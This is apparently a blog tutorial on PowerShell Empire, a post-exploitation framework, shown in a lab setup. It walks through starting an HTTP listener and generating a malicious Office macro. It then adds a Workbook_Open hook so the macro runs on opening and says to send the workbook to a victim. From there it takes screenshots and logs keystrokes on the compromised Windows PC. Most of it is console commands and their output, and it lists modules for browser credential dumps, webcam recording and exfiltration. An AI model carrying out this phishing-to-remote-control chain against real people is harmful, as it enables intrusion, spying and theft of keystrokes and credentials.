Hands on Powershell Empire
In this post I try PowerShell Empire for the first time. The information is largely based off of the following resources:
- Enigma0x3.net blog.
- sw1tch.net
- null-byte
Information about PowerShell Empire and how to install it can be found on the official website.
In this post we will generate some malicious code, simulate the victim activating the code, and see what we can do from there.
PowerShell Empire usage
PowerShell empire has listeners, stagers, agents and modules.
Listener
The listener is the service that is executed on the attacker’s machine. The infected machines will connect to the listener.
Stagers
Stagers are the different methods you can use to deliver the payload to the
victim. For instance there is a windows/macro
stager that generates an Office
Macro that will connect to the selected listener.
There is also a windows/ducky
stager that generates a Ducky script that will
run a one-liner stage0 launcher.
A launcher is the the code that will make the victim connect to the listener.
So a stager contains the delivery method and the payload to get the remote access.
Agents
Once the victim has executed the malicious code, an agent is started and connects to the listener. Thanks to the agent we will be able to use modules to take screenshots, elevate our privileges, capture network traffic, etc…
Starting PowerShell Empire
We start PowerShell Empire with ./empire
.
================================================================
[Empire] Post-Exploitation Framework
================================================================
[Version] 2.5 | [Web] https://github.com/empireProject/Empire
================================================================
_______ .___ ___. .______ __ .______ _______
| ____|| \/ | | _ \ | | | _ \ | ____|
| |__ | \ / | | |_) | | | | |_) | | |__
| __| | |\/| | | ___/ | | | / | __|
| |____ | | | | | | | | | |\ \----.| |____
|_______||__| |__| | _| |__| | _| `._____||_______|
284 modules currently loaded
0 listeners currently active
0 agents currently active
(Empire) >
From there we can always use the command help
to display available commands:
(Empire) > help
Commands
========
agents Jump to the Agents menu.
creds Add/display credentials to/from the database.
exit Exit Empire
help Displays the help menu.
interact Interact with a particular agent.
list Lists active agents or listeners.
listeners Interact with active listeners.
load Loads Empire modules from a non-standard folder.
plugin Load a plugin file to extend Empire.
plugins List all available and active plugins.
preobfuscate Preobfuscate PowerShell module_source files
reload Reload one (or all) Empire modules.
report Produce report CSV and log files: sessions.csv, credentials.csv, master.log
reset Reset a global option (e.g. IP whitelists).
resource Read and execute a list of Empire commands from a file.
searchmodule Search Empire module names/descriptions.
set Set a global option (e.g. IP whitelists).
show Show a global option (e.g. IP whitelists).
usemodule Use an Empire module.
usestager Use an Empire stager.
(Empire) >
Creating a listener
To create a listener, we will go to the listeners menu with the command
listeners
:
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) >
We are warned that no listener is currently active and then the shell
changes to (Empire: listeners)
.
To select a listener to use we type the command uselistener <listener_name>
.
To see the list of available listeners we type uselistener
and press TAB
twice.
(Empire: listeners) > uselistener
dbx http_com http_hop meterpreter redirector
http http_foreign http_mapi onedrive
In this post we will use the http
listener.
(Empire: listeners) > uselistener http
(Empire: listeners/http) >
Notice how the shell changes to listeners/http
.
Our listener is selected, to start it, we use execute
:
(Empire: listeners/http) > execute
[*] Starting listener 'http'
* Serving Flask app "http" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) >
We can see the list of active listeners at any moment with listeners
(this
takes us back to the listeners menu).
(Empire: listeners/http) > listeners
[*] Active listeners:
Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://10.0.1.60:80 5/0.0
(Empire: listeners) >
Creating the payload
Now that we have a listener running. We need to create a payload so that our victim connects to this listener. Empire has you covered as you can do so very easily for various formats with stagers.
Let’s show the list of available stagers by typing usestager
and pressing
TAB
twice:
(Empire: listeners) > usestager
multi/bash osx/macho windows/launcher_bat
multi/launcher osx/macro windows/launcher_lnk
multi/macro osx/pkg windows/launcher_sct
multi/pyinstaller osx/safari_launcher windows/launcher_vbs
multi/war osx/teensy windows/launcher_xml
osx/applescript windows/backdoorLnkMacro windows/macro
osx/application windows/bunny windows/macroless_msword
osx/ducky windows/csharp_exe windows/shellcode
osx/dylib windows/dll windows/teensy
osx/jar windows/ducky
osx/launcher windows/hta
In this post we will use windows/macro
:
(Empire: listeners) > usestager windows/macro
(Empire: stager/windows/macro) >
Now we need to configure our stager so that it connects to our http
listener.
We can see the list of options with options
:
(Empire: stager/windows/macro) > options
Name: Macro
Description:
Generates an office macro for Empire, compatible
with office 97-2003, and 2007 file types.
Options:
Name Required Value Description
---- -------- ------- -----------
Listener True Listener to generate stager for.
OutFile False /tmp/macro File to output macro to, otherwise
displayed on the screen.
Obfuscate False False Switch. Obfuscate the launcher
powershell code, uses the
ObfuscateCommand for obfuscation types.
For powershell only.
ObfuscateCommand False Token\All\1,Launcher\STDIN++\12467The Invoke-Obfuscation command to use.
Only used if Obfuscate switch is True.
For powershell only.
Language True powershell Language of the stager to generate.
ProxyCreds False default Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
Proxy False default Proxy to use for request (default, none,
or other).
StagerRetries False 0 Times for the stager to retry
connecting.
(Empire: stager/windows/macro) >
We set the Listener
option to http
with the set
command.
(Empire: stager/windows/macro) > set Listener http
(Empire: stager/windows/macro) >
You should always be able to use autocompletion, otherwise it means that the command does not exist or is mispelled.
Finally, our stager is configured, and we can now generate it with the
generate
command:
(Empire: stager/windows/macro) > generate
[*] Stager output written out to: /tmp/macro
(Empire: stager/windows/macro) >
Delivering the payload
Now that we have an Office macro that will connect to the listener once executed, we have to find a way for the victim to execute the macro. This part is where you have to get creative.
In this post, I will simply put the macro in an Excel file and make it execute the macro whenever the workbook is opened.
You might need to activate the developer tab in File > Options > Customize Ribbon
to be able to modify macros. Once its done go to Developer > View code
to
edit the macros.
To do so, we add the code found in /tmp/macro
to our Excel file in “This Workbook”.
And we add some code to execute the malicious function (let’s name it EUS
) when
the workbook opens:
Sub Workbook_Open()
EUS
End Sub
Now we save the file in the 97-2003 format, send it to our victim and wait patiently for him to open the workbook.
Controlling the agent
Once the victim has opened the woorkbook and activated macros we should see this in our console:
(Empire) > [*] Sending POWERSHELL stager (stage 1) to 10.0.9.243
[*] New agent 2UXW7CKL checked in
[+] Initial agent 2UXW7CKL from 10.0.9.243 now active (Slack)
[*] Sending agent (stage 2) to 2UXW7CKL at 10.0.9.243
(Empire) >
This indicates that a new agent has been created, named 2UXW7CKL
.
We can rename it with rename
. But first we need to navigate to the agents
menu:
(Empire) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen
---- -- ----------- ------------ -------- ------- --- ----- ---------
2UXW7CKL ps 10.0.9.243 DESKTOP-8GLFQDV DESKTOP-8GLFQDV\brainco powershell 4112 5/0.0 2018-05-28 23:04:11
Now we can give a better name to our agent. Let’s name it NonAdminW10
.
(Empire: agents) > rename 2UXW7CKL NonAdminW10
(Empire: agents) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen
---- -- ----------- ------------ -------- ------- --- ----- ---------
NonAdmin ps 10.0.9.243 DESKTOP-8GLFQDV DESKTOP-8GLFQDV\brainco powershell 4112 5/0.0 2018-05-28 23:05:09
Using modules
Now that we have remote control over the infected PC, let’s see what we can do.
A set of modules already exist, to see them type usemodule
and press TAB
twice.
Here is an excerpt of the output:
(Empire: agents) > usemodule
Display all 284 possibilities? (y or n)
exfiltration/Invoke_ExfilDataToGitHub
external/generate_agent
powershell/code_execution/invoke_dllinjection
powershell/code_execution/invoke_metasploitpayload
powershell/code_execution/invoke_ntsd
powershell/code_execution/invoke_reflectivepeinjection
powershell/code_execution/invoke_shellcode
powershell/code_execution/invoke_shellcodemsil
powershell/collection/ChromeDump
powershell/collection/FoxDump
powershell/collection/USBKeylogger*
powershell/collection/WebcamRecorder
powershell/collection/browser_data
If we wish to take a screenshot of the PC we can use the module powershell/collection/screenshot
.
But first we need to select our agent with interact <agent>
:
(Empire: agents) > interact NonAdminW10
(Empire: NonAdminW10) >
Now we can execute our modules with usemodule
and the run
or execute
:
(Empire: NonAdminW10) > usemodule collection/screenshot
(Empire: powershell/collection/screenshot) > run
[*] Tasked 2UXW7CKL to run TASK_CMD_WAIT_SAVE
[*] Agent 2UXW7CKL tasked with task ID 1
[*] Tasked agent NonAdminW10 to run module powershell/collection/screenshot
(Empire: powershell/collection/screenshot) > [+] File screenshot/DESKTOP-8GLFQDV_2018-05-28_23-13-30.png from NonAdminW10 saved
[*] Agent 2UXW7CKL returned results.
Output saved to ./downloads/NonAdminW10/screenshot/DESKTOP-8GLFQDV_2018-05-28_23-13-30.png
[*] Valid results returned by 10.0.9.243
(Empire: powershell/collection/screenshot) >
The file might take some time to be saved. If you open it you will see exactly what was on the victim’s screen when the capture was taken.
Now let’s use the module keylogger
. We use back
to go back to our agent’s
menu and we select and start the module collection/keylogger
.
(Empire: powershell/collection/screenshot) > back
(Empire: NonAdminW10) > usemodule collection/keylogger
(Empire: powershell/collection/keylogger) > run
[*] Tasked 2UXW7CKL to run TASK_CMD_JOB
[*] Agent 2UXW7CKL tasked with task ID 2
[*] Tasked agent NonAdminW10 to run module powershell/collection/keylogger
(Empire: powershell/collection/keylogger) > [*] Agent 2UXW7CKL returned results.
Job started: B3CS1G
[*] Valid results returned by 10.0.9.243
Now if we go to the victim’s machine and type “magnolia” somewhere, here is
what we will see Agent 2UXW7CKL returned results
in our console.
Note that I encountered an error because the agent was renamed, so I had to
manually create a file downloads/2UXW7CKL/keystrokes.txt
to get the keystrokes.
Once that was done I could see the user’s keystrokes:
cat 2UXW7CKL/keystrokes.txt
[Backspace]
magnolia%